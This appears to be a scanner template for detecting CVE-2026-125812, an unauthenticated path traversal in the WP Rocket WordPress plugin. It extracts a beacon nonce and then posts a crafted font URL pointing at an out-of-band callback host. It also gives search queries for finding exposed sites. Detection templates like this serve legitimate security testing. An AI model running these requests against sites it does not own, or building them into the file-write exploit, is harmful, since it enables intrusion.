Copy
id: CVE-2026-125812
info:
name: WP Media WP Rocket - Path Traversal
author: 0x_Akoko
severity: critical
description: |
WP Media WP Rocket < 3.24.2 contains a path traversal caused by improper limitation of pathname to restricted directory, letting attackers write arbitrary files via crafted beacon font URLs when Host Fonts Locally or LazyLoad CSS is enabled, exploit requires no special privileges.
impact: |
Attackers can write arbitrary PHP files to the server via path traversal in font download paths, leading to remote code execution.
remediation: |
Update to version 3.24.2 or later.
reference:
- https://patchstack.com/articles/critical-wp-rocket-rce-cve-2026-125812-under-active-attack/
- https://nvd.nist.gov/vuln/detail/CVE-2026-125812
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-125812
epss-score: 0.07323
epss-percentile: 0.94536
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
vendor: wp-media
product: wp-rocket
shodan-query: http.component:"WordPress"
fofa-query: body="rocket_beacon_data"
tags: cve,cve2026,wordpress,wp-plugin,wp-rocket,lfi,rce,unauth,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "rocket_beacon_data")'
condition: and
internal: true
extractors:
- type: regex
name: beaconnonce
part: body
regex:
- 'rocket_beacon_data[^<]*"nonce":"([a-f0-9]+)"'
group: 1
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=rocket_beacon&rocket_beacon_nonce={{beaconnonce}}&url={{BaseURL}}&is_mobile=false&status=success&results={"preload_fonts":["https://{{interactsh-url}}//fonts.googleapis.com/css2/x.woff2"]}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "success", "preload_fonts")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502206a994416076243fad91f723b46050486503b6662d9d71130f9edc50ec55edd4c0221008a120c21a7d4eece8b45803cd85e65b512ad8749ae4c0f9f57e2c6d78b1e79f2:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.